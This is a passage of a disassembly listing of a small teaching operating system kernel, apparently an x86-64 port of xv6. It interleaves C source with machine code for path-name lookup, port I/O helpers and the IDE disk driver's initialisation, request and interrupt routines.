ffff8000001037b0: 48 8b 55 d8 mov -0x28(%rbp),%rdx
ffff8000001037b4: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff8000001037b8: 48 89 d6 mov %rdx,%rsi
ffff8000001037bb: 48 89 c7 mov %rax,%rdi
ffff8000001037be: 48 b8 a1 35 10 00 00 movabs $0xffff8000001035a1,%rax
ffff8000001037c5: 80 ff ff
ffff8000001037c8: ff d0 callq *%rax
ffff8000001037ca: 48 89 45 e8 mov %rax,-0x18(%rbp)
ffff8000001037ce: 48 83 7d e8 00 cmpq $0x0,-0x18(%rbp)
ffff8000001037d3: 0f 85 0a ff ff ff jne ffff8000001036e3 <namex+0x6b>
}
if(nameiparent){
ffff8000001037d9: 83 7d e4 00 cmpl $0x0,-0x1c(%rbp)
ffff8000001037dd: 74 1a je ffff8000001037f9 <namex+0x181>
iput(ip);
ffff8000001037df: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001037e3: 48 89 c7 mov %rax,%rdi
ffff8000001037e6: 48 b8 ea 2a 10 00 00 movabs $0xffff800000102aea,%rax
ffff8000001037ed: 80 ff ff
ffff8000001037f0: ff d0 callq *%rax
return 0;
ffff8000001037f2: b8 00 00 00 00 mov $0x0,%eax
ffff8000001037f7: eb 04 jmp ffff8000001037fd <namex+0x185>
}
return ip;
ffff8000001037f9: 48 8b 45 f8 mov -0x8(%rbp),%rax
}
ffff8000001037fd: c9 leaveq
ffff8000001037fe: c3 retq
ffff8000001037ff <namei>:
struct inode*
namei(char *path)
{
ffff8000001037ff: f3 0f 1e fa endbr64
ffff800000103803: 55 push %rbp
ffff800000103804: 48 89 e5 mov %rsp,%rbp
ffff800000103807: 48 83 ec 20 sub $0x20,%rsp
ffff80000010380b: 48 89 7d e8 mov %rdi,-0x18(%rbp)
char name[DIRSIZ];
return namex(path, 0, name);
ffff80000010380f: 48 8d 55 f2 lea -0xe(%rbp),%rdx
ffff800000103813: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000103817: be 00 00 00 00 mov $0x0,%esi
ffff80000010381c: 48 89 c7 mov %rax,%rdi
ffff80000010381f: 48 b8 78 36 10 00 00 movabs $0xffff800000103678,%rax
ffff800000103826: 80 ff ff
ffff800000103829: ff d0 callq *%rax
}
ffff80000010382b: c9 leaveq
ffff80000010382c: c3 retq
ffff80000010382d <nameiparent>:
struct inode*
nameiparent(char *path, char *name)
{
ffff80000010382d: f3 0f 1e fa endbr64
ffff800000103831: 55 push %rbp
ffff800000103832: 48 89 e5 mov %rsp,%rbp
ffff800000103835: 48 83 ec 10 sub $0x10,%rsp
ffff800000103839: 48 89 7d f8 mov %rdi,-0x8(%rbp)
ffff80000010383d: 48 89 75 f0 mov %rsi,-0x10(%rbp)
return namex(path, 1, name);
ffff800000103841: 48 8b 55 f0 mov -0x10(%rbp),%rdx
ffff800000103845: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000103849: be 01 00 00 00 mov $0x1,%esi
ffff80000010384e: 48 89 c7 mov %rax,%rdi
ffff800000103851: 48 b8 78 36 10 00 00 movabs $0xffff800000103678,%rax
ffff800000103858: 80 ff ff
ffff80000010385b: ff d0 callq *%rax
}
ffff80000010385d: c9 leaveq
ffff80000010385e: c3 retq
ffff80000010385f <inb>:
{
ffff80000010385f: f3 0f 1e fa endbr64
ffff800000103863: 55 push %rbp
ffff800000103864: 48 89 e5 mov %rsp,%rbp
ffff800000103867: 48 83 ec 18 sub $0x18,%rsp
ffff80000010386b: 89 f8 mov %edi,%eax
ffff80000010386d: 66 89 45 ec mov %ax,-0x14(%rbp)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
ffff800000103871: 0f b7 45 ec movzwl -0x14(%rbp),%eax
ffff800000103875: 89 c2 mov %eax,%edx
ffff800000103877: ec in (%dx),%al
ffff800000103878: 88 45 ff mov %al,-0x1(%rbp)
return data;
ffff80000010387b: 0f b6 45 ff movzbl -0x1(%rbp),%eax
}
ffff80000010387f: c9 leaveq
ffff800000103880: c3 retq
ffff800000103881 <insl>:
{
ffff800000103881: f3 0f 1e fa endbr64
ffff800000103885: 55 push %rbp
ffff800000103886: 48 89 e5 mov %rsp,%rbp
ffff800000103889: 48 83 ec 10 sub $0x10,%rsp
ffff80000010388d: 89 7d fc mov %edi,-0x4(%rbp)
ffff800000103890: 48 89 75 f0 mov %rsi,-0x10(%rbp)
ffff800000103894: 89 55 f8 mov %edx,-0x8(%rbp)
asm volatile("cld; rep insl" :
ffff800000103897: 8b 55 fc mov -0x4(%rbp),%edx
ffff80000010389a: 48 8b 4d f0 mov -0x10(%rbp),%rcx
ffff80000010389e: 8b 45 f8 mov -0x8(%rbp),%eax
ffff8000001038a1: 48 89 ce mov %rcx,%rsi
ffff8000001038a4: 48 89 f7 mov %rsi,%rdi
ffff8000001038a7: 89 c1 mov %eax,%ecx
ffff8000001038a9: fc cld
ffff8000001038aa: f3 6d rep insl (%dx),%es:(%rdi)
ffff8000001038ac: 89 c8 mov %ecx,%eax
ffff8000001038ae: 48 89 fe mov %rdi,%rsi
ffff8000001038b1: 48 89 75 f0 mov %rsi,-0x10(%rbp)
ffff8000001038b5: 89 45 f8 mov %eax,-0x8(%rbp)
}
ffff8000001038b8: 90 nop
ffff8000001038b9: c9 leaveq
ffff8000001038ba: c3 retq
ffff8000001038bb <outb>:
{
ffff8000001038bb: f3 0f 1e fa endbr64
ffff8000001038bf: 55 push %rbp
ffff8000001038c0: 48 89 e5 mov %rsp,%rbp
ffff8000001038c3: 48 83 ec 08 sub $0x8,%rsp
ffff8000001038c7: 89 f8 mov %edi,%eax
ffff8000001038c9: 89 f2 mov %esi,%edx
ffff8000001038cb: 66 89 45 fc mov %ax,-0x4(%rbp)
ffff8000001038cf: 89 d0 mov %edx,%eax
ffff8000001038d1: 88 45 f8 mov %al,-0x8(%rbp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
ffff8000001038d4: 0f b6 45 f8 movzbl -0x8(%rbp),%eax
ffff8000001038d8: 0f b7 55 fc movzwl -0x4(%rbp),%edx
ffff8000001038dc: ee out %al,(%dx)
}
ffff8000001038dd: 90 nop
ffff8000001038de: c9 leaveq
ffff8000001038df: c3 retq
ffff8000001038e0 <outsl>:
{
ffff8000001038e0: f3 0f 1e fa endbr64
ffff8000001038e4: 55 push %rbp
ffff8000001038e5: 48 89 e5 mov %rsp,%rbp
ffff8000001038e8: 48 83 ec 10 sub $0x10,%rsp
ffff8000001038ec: 89 7d fc mov %edi,-0x4(%rbp)
ffff8000001038ef: 48 89 75 f0 mov %rsi,-0x10(%rbp)
ffff8000001038f3: 89 55 f8 mov %edx,-0x8(%rbp)
asm volatile("cld; rep outsl" :
ffff8000001038f6: 8b 55 fc mov -0x4(%rbp),%edx
ffff8000001038f9: 48 8b 4d f0 mov -0x10(%rbp),%rcx
ffff8000001038fd: 8b 45 f8 mov -0x8(%rbp),%eax
ffff800000103900: 48 89 ce mov %rcx,%rsi
ffff800000103903: 89 c1 mov %eax,%ecx
ffff800000103905: fc cld
ffff800000103906: f3 6f rep outsl %ds:(%rsi),(%dx)
ffff800000103908: 89 c8 mov %ecx,%eax
ffff80000010390a: 48 89 75 f0 mov %rsi,-0x10(%rbp)
ffff80000010390e: 89 45 f8 mov %eax,-0x8(%rbp)
}
ffff800000103911: 90 nop
ffff800000103912: c9 leaveq
ffff800000103913: c3 retq
ffff800000103914 <idewait>:
static void idestart(struct buf*);
// Wait for IDE disk to become ready.
static int
idewait(int checkerr)
{
ffff800000103914: f3 0f 1e fa endbr64
ffff800000103918: 55 push %rbp
ffff800000103919: 48 89 e5 mov %rsp,%rbp
ffff80000010391c: 48 83 ec 18 sub $0x18,%rsp
ffff800000103920: 89 7d ec mov %edi,-0x14(%rbp)
int r;
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
ffff800000103923: 90 nop
ffff800000103924: bf f7 01 00 00 mov $0x1f7,%edi
ffff800000103929: 48 b8 5f 38 10 00 00 movabs $0xffff80000010385f,%rax
ffff800000103930: 80 ff ff
ffff800000103933: ff d0 callq *%rax
ffff800000103935: 0f b6 c0 movzbl %al,%eax
ffff800000103938: 89 45 fc mov %eax,-0x4(%rbp)
ffff80000010393b: 8b 45 fc mov -0x4(%rbp),%eax
ffff80000010393e: 25 c0 00 00 00 and $0xc0,%eax
ffff800000103943: 83 f8 40 cmp $0x40,%eax
ffff800000103946: 75 dc jne ffff800000103924 <idewait+0x10>
;
if(checkerr && (r & (IDE_DF|IDE_ERR)) != 0)
ffff800000103948: 83 7d ec 00 cmpl $0x0,-0x14(%rbp)
ffff80000010394c: 74 11 je ffff80000010395f <idewait+0x4b>
ffff80000010394e: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000103951: 83 e0 21 and $0x21,%eax
ffff800000103954: 85 c0 test %eax,%eax
ffff800000103956: 74 07 je ffff80000010395f <idewait+0x4b>
return -1;
ffff800000103958: b8 ff ff ff ff mov $0xffffffff,%eax
ffff80000010395d: eb 05 jmp ffff800000103964 <idewait+0x50>
return 0;
ffff80000010395f: b8 00 00 00 00 mov $0x0,%eax
}
ffff800000103964: c9 leaveq
ffff800000103965: c3 retq
ffff800000103966 <ideinit>:
void
ideinit(void)
{
ffff800000103966: f3 0f 1e fa endbr64
ffff80000010396a: 55 push %rbp
ffff80000010396b: 48 89 e5 mov %rsp,%rbp
ffff80000010396e: 48 83 ec 10 sub $0x10,%rsp
initlock(&idelock, "ide");
ffff800000103972: 48 be 13 c6 10 00 00 movabs $0xffff80000010c613,%rsi
ffff800000103979: 80 ff ff
ffff80000010397c: 48 bf c0 70 11 00 00 movabs $0xffff8000001170c0,%rdi
ffff800000103983: 80 ff ff
ffff800000103986: 48 b8 24 78 10 00 00 movabs $0xffff800000107824,%rax
ffff80000010398d: 80 ff ff
ffff800000103990: ff d0 callq *%rax
ioapicenable(IRQ_IDE, ncpu - 1);
ffff800000103992: 48 b8 20 74 1f 00 00 movabs $0xffff8000001f7420,%rax
ffff800000103999: 80 ff ff
ffff80000010399c: 8b 00 mov (%rax),%eax
ffff80000010399e: 83 e8 01 sub $0x1,%eax
ffff8000001039a1: 89 c6 mov %eax,%esi
ffff8000001039a3: bf 0e 00 00 00 mov $0xe,%edi
ffff8000001039a8: 48 b8 e5 3f 10 00 00 movabs $0xffff800000103fe5,%rax
ffff8000001039af: 80 ff ff
ffff8000001039b2: ff d0 callq *%rax
idewait(0);
ffff8000001039b4: bf 00 00 00 00 mov $0x0,%edi
ffff8000001039b9: 48 b8 14 39 10 00 00 movabs $0xffff800000103914,%rax
ffff8000001039c0: 80 ff ff
ffff8000001039c3: ff d0 callq *%rax
// Check if disk 1 is present
outb(0x1f6, 0xe0 | (1<<4));
ffff8000001039c5: be f0 00 00 00 mov $0xf0,%esi
ffff8000001039ca: bf f6 01 00 00 mov $0x1f6,%edi
ffff8000001039cf: 48 b8 bb 38 10 00 00 movabs $0xffff8000001038bb,%rax
ffff8000001039d6: 80 ff ff
ffff8000001039d9: ff d0 callq *%rax
for(int i=0; i<1000; i++){
ffff8000001039db: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff8000001039e2: eb 2b jmp ffff800000103a0f <ideinit+0xa9>
if(inb(0x1f7) != 0){
ffff8000001039e4: bf f7 01 00 00 mov $0x1f7,%edi
ffff8000001039e9: 48 b8 5f 38 10 00 00 movabs $0xffff80000010385f,%rax
ffff8000001039f0: 80 ff ff
ffff8000001039f3: ff d0 callq *%rax
ffff8000001039f5: 84 c0 test %al,%al
ffff8000001039f7: 74 12 je ffff800000103a0b <ideinit+0xa5>
havedisk1 = 1;
ffff8000001039f9: 48 b8 30 71 11 00 00 movabs $0xffff800000117130,%rax
ffff800000103a00: 80 ff ff
ffff800000103a03: c7 00 01 00 00 00 movl $0x1,(%rax)
break;
ffff800000103a09: eb 0d jmp ffff800000103a18 <ideinit+0xb2>
for(int i=0; i<1000; i++){
ffff800000103a0b: 83 45 fc 01 addl $0x1,-0x4(%rbp)
ffff800000103a0f: 81 7d fc e7 03 00 00 cmpl $0x3e7,-0x4(%rbp)
ffff800000103a16: 7e cc jle ffff8000001039e4 <ideinit+0x7e>
}
}
// Switch back to disk 0.
outb(0x1f6, 0xe0 | (0<<4));
ffff800000103a18: be e0 00 00 00 mov $0xe0,%esi
ffff800000103a1d: bf f6 01 00 00 mov $0x1f6,%edi
ffff800000103a22: 48 b8 bb 38 10 00 00 movabs $0xffff8000001038bb,%rax
ffff800000103a29: 80 ff ff
ffff800000103a2c: ff d0 callq *%rax
}
ffff800000103a2e: 90 nop
ffff800000103a2f: c9 leaveq
ffff800000103a30: c3 retq
ffff800000103a31 <idestart>:
// Start the request for b. Caller must hold idelock.
static void
idestart(struct buf *b)
{
ffff800000103a31: f3 0f 1e fa endbr64
ffff800000103a35: 55 push %rbp
ffff800000103a36: 48 89 e5 mov %rsp,%rbp
ffff800000103a39: 48 83 ec 20 sub $0x20,%rsp
ffff800000103a3d: 48 89 7d e8 mov %rdi,-0x18(%rbp)
if(b == 0)
ffff800000103a41: 48 83 7d e8 00 cmpq $0x0,-0x18(%rbp)
ffff800000103a46: 75 16 jne ffff800000103a5e <idestart+0x2d>
panic("idestart");
ffff800000103a48: 48 bf 17 c6 10 00 00 movabs $0xffff80000010c617,%rdi
ffff800000103a4f: 80 ff ff
ffff800000103a52: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000103a59: 80 ff ff
ffff800000103a5c: ff d0 callq *%rax
if(b->blockno >= FSSIZE)
ffff800000103a5e: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000103a62: 8b 40 08 mov 0x8(%rax),%eax
ffff800000103a65: 3d e7 03 00 00 cmp $0x3e7,%eax
ffff800000103a6a: 76 16 jbe ffff800000103a82 <idestart+0x51>
panic("incorrect blockno");
ffff800000103a6c: 48 bf 20 c6 10 00 00 movabs $0xffff80000010c620,%rdi
ffff800000103a73: 80 ff ff
ffff800000103a76: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000103a7d: 80 ff ff
ffff800000103a80: ff d0 callq *%rax
int sector_per_block = BSIZE/SECTOR_SIZE;
ffff800000103a82: c7 45 fc 01 00 00 00 movl $0x1,-0x4(%rbp)
int sector = b->blockno * sector_per_block;
ffff800000103a89: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000103a8d: 8b 50 08 mov 0x8(%rax),%edx
ffff800000103a90: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000103a93: 0f af c2 imul %edx,%eax
ffff800000103a96: 89 45 f8 mov %eax,-0x8(%rbp)
int read_cmd = (sector_per_block == 1) ? IDE_CMD_READ : IDE_CMD_RDMUL;
ffff800000103a99: 83 7d fc 01 cmpl $0x1,-0x4(%rbp)
ffff800000103a9d: 75 07 jne ffff800000103aa6 <idestart+0x75>
ffff800000103a9f: b8 20 00 00 00 mov $0x20,%eax
ffff800000103aa4: eb 05 jmp ffff800000103aab <idestart+0x7a>
ffff800000103aa6: b8 c4 00 00 00 mov $0xc4,%eax
ffff800000103aab: 89 45 f4 mov %eax,-0xc(%rbp)
int write_cmd = (sector_per_block == 1) ? IDE_CMD_WRITE : IDE_CMD_WRMUL;
ffff800000103aae: 83 7d fc 01 cmpl $0x1,-0x4(%rbp)
ffff800000103ab2: 75 07 jne ffff800000103abb <idestart+0x8a>
ffff800000103ab4: b8 30 00 00 00 mov $0x30,%eax
ffff800000103ab9: eb 05 jmp ffff800000103ac0 <idestart+0x8f>
ffff800000103abb: b8 c5 00 00 00 mov $0xc5,%eax
ffff800000103ac0: 89 45 f0 mov %eax,-0x10(%rbp)
if (sector_per_block > 7) panic("idestart");
ffff800000103ac3: 83 7d fc 07 cmpl $0x7,-0x4(%rbp)
ffff800000103ac7: 7e 16 jle ffff800000103adf <idestart+0xae>
ffff800000103ac9: 48 bf 17 c6 10 00 00 movabs $0xffff80000010c617,%rdi
ffff800000103ad0: 80 ff ff
ffff800000103ad3: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000103ada: 80 ff ff
ffff800000103add: ff d0 callq *%rax
idewait(0);
ffff800000103adf: bf 00 00 00 00 mov $0x0,%edi
ffff800000103ae4: 48 b8 14 39 10 00 00 movabs $0xffff800000103914,%rax
ffff800000103aeb: 80 ff ff
ffff800000103aee: ff d0 callq *%rax
outb(0x3f6, 0); // generate interrupt
ffff800000103af0: be 00 00 00 00 mov $0x0,%esi
ffff800000103af5: bf f6 03 00 00 mov $0x3f6,%edi
ffff800000103afa: 48 b8 bb 38 10 00 00 movabs $0xffff8000001038bb,%rax
ffff800000103b01: 80 ff ff
ffff800000103b04: ff d0 callq *%rax
outb(0x1f2, sector_per_block); // number of sectors
ffff800000103b06: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000103b09: 0f b6 c0 movzbl %al,%eax
ffff800000103b0c: 89 c6 mov %eax,%esi
ffff800000103b0e: bf f2 01 00 00 mov $0x1f2,%edi
ffff800000103b13: 48 b8 bb 38 10 00 00 movabs $0xffff8000001038bb,%rax
ffff800000103b1a: 80 ff ff
ffff800000103b1d: ff d0 callq *%rax
outb(0x1f3, sector & 0xff);
ffff800000103b1f: 8b 45 f8 mov -0x8(%rbp),%eax
ffff800000103b22: 0f b6 c0 movzbl %al,%eax
ffff800000103b25: 89 c6 mov %eax,%esi
ffff800000103b27: bf f3 01 00 00 mov $0x1f3,%edi
ffff800000103b2c: 48 b8 bb 38 10 00 00 movabs $0xffff8000001038bb,%rax
ffff800000103b33: 80 ff ff
ffff800000103b36: ff d0 callq *%rax
outb(0x1f4, (sector >> 8) & 0xff);
ffff800000103b38: 8b 45 f8 mov -0x8(%rbp),%eax
ffff800000103b3b: c1 f8 08 sar $0x8,%eax
ffff800000103b3e: 0f b6 c0 movzbl %al,%eax
ffff800000103b41: 89 c6 mov %eax,%esi
ffff800000103b43: bf f4 01 00 00 mov $0x1f4,%edi
ffff800000103b48: 48 b8 bb 38 10 00 00 movabs $0xffff8000001038bb,%rax
ffff800000103b4f: 80 ff ff
ffff800000103b52: ff d0 callq *%rax
outb(0x1f5, (sector >> 16) & 0xff);
ffff800000103b54: 8b 45 f8 mov -0x8(%rbp),%eax
ffff800000103b57: c1 f8 10 sar $0x10,%eax
ffff800000103b5a: 0f b6 c0 movzbl %al,%eax
ffff800000103b5d: 89 c6 mov %eax,%esi
ffff800000103b5f: bf f5 01 00 00 mov $0x1f5,%edi
ffff800000103b64: 48 b8 bb 38 10 00 00 movabs $0xffff8000001038bb,%rax
ffff800000103b6b: 80 ff ff
ffff800000103b6e: ff d0 callq *%rax
outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f));
ffff800000103b70: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000103b74: 8b 40 04 mov 0x4(%rax),%eax
ffff800000103b77: c1 e0 04 shl $0x4,%eax
ffff800000103b7a: 83 e0 10 and $0x10,%eax
ffff800000103b7d: 89 c2 mov %eax,%edx
ffff800000103b7f: 8b 45 f8 mov -0x8(%rbp),%eax
ffff800000103b82: c1 f8 18 sar $0x18,%eax
ffff800000103b85: 83 e0 0f and $0xf,%eax
ffff800000103b88: 09 d0 or %edx,%eax
ffff800000103b8a: 83 c8 e0 or $0xffffffe0,%eax
ffff800000103b8d: 0f b6 c0 movzbl %al,%eax
ffff800000103b90: 89 c6 mov %eax,%esi
ffff800000103b92: bf f6 01 00 00 mov $0x1f6,%edi
ffff800000103b97: 48 b8 bb 38 10 00 00 movabs $0xffff8000001038bb,%rax
ffff800000103b9e: 80 ff ff
ffff800000103ba1: ff d0 callq *%rax
if(b->flags & B_DIRTY){
ffff800000103ba3: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000103ba7: 8b 00 mov (%rax),%eax
ffff800000103ba9: 83 e0 04 and $0x4,%eax
ffff800000103bac: 85 c0 test %eax,%eax
ffff800000103bae: 74 3e je ffff800000103bee <idestart+0x1bd>
outb(0x1f7, write_cmd);
ffff800000103bb0: 8b 45 f0 mov -0x10(%rbp),%eax
ffff800000103bb3: 0f b6 c0 movzbl %al,%eax
ffff800000103bb6: 89 c6 mov %eax,%esi
ffff800000103bb8: bf f7 01 00 00 mov $0x1f7,%edi
ffff800000103bbd: 48 b8 bb 38 10 00 00 movabs $0xffff8000001038bb,%rax
ffff800000103bc4: 80 ff ff
ffff800000103bc7: ff d0 callq *%rax
outsl(0x1f0, b->data, BSIZE/4);
ffff800000103bc9: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000103bcd: 48 05 b0 00 00 00 add $0xb0,%rax
ffff800000103bd3: ba 80 00 00 00 mov $0x80,%edx
ffff800000103bd8: 48 89 c6 mov %rax,%rsi
ffff800000103bdb: bf f0 01 00 00 mov $0x1f0,%edi
ffff800000103be0: 48 b8 e0 38 10 00 00 movabs $0xffff8000001038e0,%rax
ffff800000103be7: 80 ff ff
ffff800000103bea: ff d0 callq *%rax
} else {
outb(0x1f7, read_cmd);
}
}
ffff800000103bec: eb 19 jmp ffff800000103c07 <idestart+0x1d6>
outb(0x1f7, read_cmd);
ffff800000103bee: 8b 45 f4 mov -0xc(%rbp),%eax
ffff800000103bf1: 0f b6 c0 movzbl %al,%eax
ffff800000103bf4: 89 c6 mov %eax,%esi
ffff800000103bf6: bf f7 01 00 00 mov $0x1f7,%edi
ffff800000103bfb: 48 b8 bb 38 10 00 00 movabs $0xffff8000001038bb,%rax
ffff800000103c02: 80 ff ff
ffff800000103c05: ff d0 callq *%rax
}
ffff800000103c07: 90 nop
ffff800000103c08: c9 leaveq
ffff800000103c09: c3 retq
ffff800000103c0a <ideintr>:
// Interrupt handler.
void
ideintr(void)
{
ffff800000103c0a: f3 0f 1e fa endbr64
ffff800000103c0e: 55 push %rbp
ffff800000103c0f: 48 89 e5 mov %rsp,%rbp
ffff800000103c12: 48 83 ec 10 sub $0x10,%rsp
struct buf *b;
// First queued buffer is the active request.
acquire(&idelock);
ffff800000103c16: 48 bf c0 70 11 00 00 movabs $0xffff8000001170c0,%rdi
ffff800000103c1d: 80 ff ff
ffff800000103c20: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff800000103c27: 80 ff ff
ffff800000103c2a: ff d0 callq *%rax
if((b = idequeue) == 0){
ffff800000103c2c: 48 b8 28 71 11 00 00 movabs $0xffff800000117128,%rax
ffff800000103c33: 80 ff ff
ffff800000103c36: 48 8b 00 mov (%rax),%rax
ffff800000103c39: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff800000103c3d: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp)
ffff800000103c42: 75 1b jne ffff800000103c5f <ideintr+0x55>
release(&idelock);
ffff800000103c44: 48 bf c0 70 11 00 00 movabs $0xffff8000001170c0,%rdi
ffff800000103c4b: 80 ff ff
ffff800000103c4e: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff800000103c55: 80 ff ff
ffff800000103c58: ff d0 callq *%rax
// cprintf("spurious IDE interrupt\n");
return;
ffff800000103c5a: e9 d6 00 00 00 jmpq ffff800000103d35 <ideintr+0x12b>
}
idequeue = b->qnext;
ffff800000103c5f: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000103c63: 48 8b 80 a8 00 00 00 mov 0xa8(%rax),%rax
ffff800000103c6a: 48 ba 28 71 11 00 00 movabs $0xffff800000117128,%rdx
ffff800000103c71: 80 ff ff
ffff800000103c74: 48 89 02 mov %rax,(%rdx)
// Read data if needed.
if(!(b->flags & B_DIRTY) && idewait(1) >= 0)
ffff800000103c77: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000103c7b: 8b 00 mov (%rax),%eax
ffff800000103c7d: 83 e0 04 and $0x4,%eax
ffff800000103c80: 85 c0 test %eax,%eax
ffff800000103c82: 75 38 jne ffff800000103cbc <ideintr+0xb2>
ffff800000103c84: bf 01 00 00 00 mov $0x1,%edi
ffff800000103c89: 48 b8 14 39 10 00 00 movabs $0xffff800000103914,%rax
ffff800000103c90: 80 ff ff
ffff800000103c93: ff d0 callq *%rax
ffff800000103c95: 85 c0 test %eax,%eax
ffff800000103c97: 78 23 js ffff800000103cbc <ideintr+0xb2>
insl(0x1f0, b->data, BSIZE/4);
ffff800000103c99: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000103c9d: 48 05 b0 00 00 00 add $0xb0,%rax
ffff800000103ca3: ba 80 00 00 00 mov $0x80,%edx
ffff800000103ca8: 48 89 c6 mov %rax,%rsi
ffff800000103cab: bf f0 01 00 00 mov $0x1f0,%edi
ffff800000103cb0: 48 b8 81 38 10 00 00 movabs $0xffff800000103881,%rax
ffff800000103cb7: 80 ff ff
ffff800000103cba: ff d0 callq *%rax
// Wake process waiting for this buf.
b->flags |= B_VALID;
ffff800000103cbc: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000103cc0: 8b 00 mov (%rax),%eax
ffff800000103cc2: 83 c8 02 or $0x2,%eax
ffff800000103cc5: 89 c2 mov %eax,%edx
ffff800000103cc7: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000103ccb: 89 10 mov %edx,(%rax)
b->flags &= ~B_DIRTY;
ffff800000103ccd: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000103cd1: 8b 00 mov (%rax),%eax
ffff800000103cd3: 83 e0 fb and $0xfffffffb,%eax
ffff800000103cd6: 89 c2 mov %eax,%edx
ffff800000103cd8: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000103cdc: 89 10 mov %edx,(%rax)
wakeup(b);
ffff800000103cde: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000103ce2: 48 89 c7 mov %rax,%rdi
ffff800000103ce5: 48 b8 b8 73 10 00 00 movabs $0xffff8000001073b8,%rax
ffff800000103cec: 80 ff ff
ffff800000103cef: ff d0 callq *%rax
// Start disk on next buf in queue.
if(idequeue != 0)
ffff800000103cf1: 48 b8 28 71 11 00 00 movabs $0xffff800000117128,%rax
ffff800000103cf8: 80 ff ff
ffff800000103cfb: 48 8b 00 mov (%rax),%rax
ffff800000103cfe: 48 85 c0 test %rax,%rax
ffff800000103d01: 74 1c je ffff800000103d1f <ideintr+0x115>
idestart(idequeue);
ffff800000103d03: 48 b8 28 71 11 00 00 movabs $0xffff800000117128,%rax
ffff800000103d0a: 80 ff ff
ffff800000103d0d: 48 8b 00 mov (%rax),%rax
ffff800000103d10: 48 89 c7 mov %rax,%rdi
ffff800000103d13: 48 b8 31 3a 10 00 00 movabs $0xffff800000103a31,%rax
ffff800000103d1a: 80 ff ff
ffff800000103d1d: ff d0 callq *%rax
release(&idelock);
ffff800000103d1f: 48 bf c0 70 11 00 00 movabs $0xffff8000001170c0,%rdi
ffff800000103d26: 80 ff ff
ffff800000103d29: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff800000103d30: 80 ff ff
ffff800000103d33: ff d0 callq *%rax
}
ffff800000103d35: c9 leaveq
ffff800000103d36: c3 retq
ffff800000103d37 <iderw>:
// Sync buf with disk.
// If B_DIRTY is set, write buf to disk, clear B_DIRTY, set B_VALID.
// Else if B_VALID is not set, read buf from disk, set B_VALID.
void
iderw(struct buf *b)
{
ffff800000103d37: f3 0f 1e fa endbr64
ffff800000103d3b: 55 push %rbp
ffff800000103d3c: 48 89 e5 mov %rsp,%rbp
ffff800000103d3f: 48 83 ec 20 sub $0x20,%rsp
ffff800000103d43: 48 89 7d e8 mov %rdi,-0x18(%rbp)
struct buf **pp;
if(!holdingsleep(&b->lock))
ffff800000103d47: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000103d4b: 48 83 c0 10 add $0x10,%rax
ffff800000103d4f: 48 89 c7 mov %rax,%rdi
ffff800000103d52: 48 b8 7d 77 10 00 00 movabs $0xffff80000010777d,%rax
ffff800000103d59: 80 ff ff
ffff800000103d5c: ff d0 callq *%rax
ffff800000103d5e: 85 c0 test %eax,%eax
ffff800000103d60: 75 16 jne ffff800000103d78 <iderw+0x41>
panic("iderw: buf not locked");
ffff800000103d62: 48 bf 32 c6 10 00 00 movabs $0xffff80000010c632,%rdi
ffff800000103d69: 80 ff ff
ffff800000103d6c: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000103d73: 80 ff ff
ffff800000103d76: ff d0 callq *%rax
if((b->flags & (B_VALID|B_DIRTY)) == B_VALID)
ffff800000103d78: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000103d7c: 8b 00 mov (%rax),%eax
ffff800000103d7e: 83 e0 06 and $0x6,%eax
ffff800000103d81: 83 f8 02 cmp $0x2,%eax
ffff800000103d84: 75 16 jne ffff800000103d9c <iderw+0x65>
panic("iderw: nothing to do");
ffff800000103d86: 48 bf 48 c6 10 00 00 movabs $0xffff80000010c648,%rdi
ffff800000103d8d: 80 ff ff
ffff800000103d90: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000103d97: 80 ff ff
ffff800000103d9a: ff d0 callq *%rax
if(b->dev != 0 && !havedisk1)
ffff800000103d9c: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000103da0: 8b 40 04 mov 0x4(%rax),%eax
ffff800000103da3: 85 c0 test %eax,%eax
ffff800000103da5: 74 26 je ffff800000103dcd <iderw+0x96>
ffff800000103da7: 48 b8 30 71 11 00 00 movabs $0xffff800000117130,%rax
ffff800000103dae: 80 ff ff
ffff800000103db1: 8b 00 mov (%rax),%eax
ffff800000103db3: 85 c0 test %eax,%eax
ffff800000103db5: 75 16 jne ffff800000103dcd <iderw+0x96>
panic("iderw: ide disk 1 not present");
